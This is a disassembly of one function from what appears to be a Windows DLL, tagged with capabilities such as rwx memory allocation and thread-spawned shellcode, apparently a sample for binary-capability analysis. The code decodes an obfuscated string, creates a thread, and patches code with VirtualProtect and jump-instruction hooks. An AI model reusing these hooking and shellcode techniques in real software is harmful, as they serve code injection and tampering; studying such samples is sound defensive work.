Function at 0x10074080
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007de1d
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x1026500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
sub eax, 0
je 0x10074186
sub eax, 1
jne 0x100742ea
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0x1006ecd0
mov dword [ebp - 0x24], 5
mov dl, 0x32
mov dword [ebp - 0x20], 0x182d1143
mov bl, 0xc7
mov dword [ebp - 0x1c], 0xc732f921
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x20]
sub al, bl
xor al, dl
mov byte [ebp + ecx - 0x20], al
inc ecx
mov eax, dword [ebp - 0x24]
cmp ecx, eax
jae 0x1007410c
mov bl, byte [ebp - 0x19]
mov dl, byte [ebp - 0x1a]
jmp 0x100740f0
push ecx
mov byte [ebp + eax - 0x20], 0
mov ecx, esp
lea eax, [ebp - 0x20]
mov dword [ebp - 0x28], esp
push eax
call fcn.1004fb40
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0xffffffff
mov edx, 0x1006f0d0
mov ecx, esi
call fcn.10062690
add esp, 8
call fcn.1006ca00
push 0
push 0
push 0
push 0x1006cf70
push 0
push 0
mov byte [0x102656d4], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x10265d34], 0
mov edx, dword [0x10265d30]
mov dword [0x102656d8], eax
setne cl
mov eax, dword [0x10265f98]
mov dword [0x102656e8], edx
mov byte [eax + 0x38], cl
jmp 0x100742ea
mov eax, dword [0x10265660]
test eax, eax
je 0x1007419e
push eax
push 0xfffffffffffffffc
push dword [0x10265654]
call dword [sym.imp.USER32.dll_SetWindowLongW]
mov esi, dword [0x10265658]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
test esi, esi
je 0x100741ee
mov edi, dword [0x10265664]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 7
push edi
call ebx
test eax, eax
je 0x100741ee
mov eax, dword [esi]
mov dword [edi], eax
mov ax, word [esi + 4]
mov word [edi + 4], ax
mov al, byte [esi + 6]
mov byte [edi + 6], al
mov eax, edi
sub eax, esi
mov byte [esi], 0xe9
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push 7
push edi
call ebx
mov esi, dword [0x1026566c]
test esi, esi
je 0x10074230
mov edi, dword [0x10265678]
lea eax, [ebp - 0x18]
push eax
push 0x40
push 5
push edi
call ebx
test eax, eax
je 0x10074230
mov eax, dword [esi]
mov dword [edi], eax
mov al, byte [esi + 4]
mov byte [edi + 4], al
mov eax, edi
sub eax, esi
mov byte [esi], 0xe9
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x18]
push 5
push edi
call ebx
push 0x4b0
mov byte [0x102656d5], 0
mov byte [0x102656d4], 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x10265570]
test ecx, ecx
je 0x100742ca
mov eax, dword [0x10265908]
mov esi, dword [0x10265904]
mov dword [ebp - 0x28], eax
cmp esi, eax
je 0x100742bd
mov edi, dword [esi]
test edi, edi
je 0x10074294
lea eax, [ebp - 0x14]
mov dword [ebp - 0x18], 0x40
push eax
push 0x40
push 1
push dword [edi]
call ebx
mov ecx, dword [edi]
mov al, byte [edi + 4]
mov byte [ecx], al
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x14]
push 1
push dword [edi]
call ebx
mov edi, dword [esi]
push 0xc
push edi
call fcn.100785fd
add esp, 8
test edi, edi
je 0x100742a9
mov dword [esi], 0x8123
add esi, 4
cmp esi, dword [ebp - 0x28]
jne 0x10074265
mov ecx, dword [0x10265570]
mov esi, dword [0x10265904]
push ecx
mov dword [0x10265908], esi
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x7d0
push dword [0x102656d0]
call esi
push 0x7d0
push dword [0x102656d8]
call esi
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10077e95
mov esp, ebp
pop ebp
ret 0xc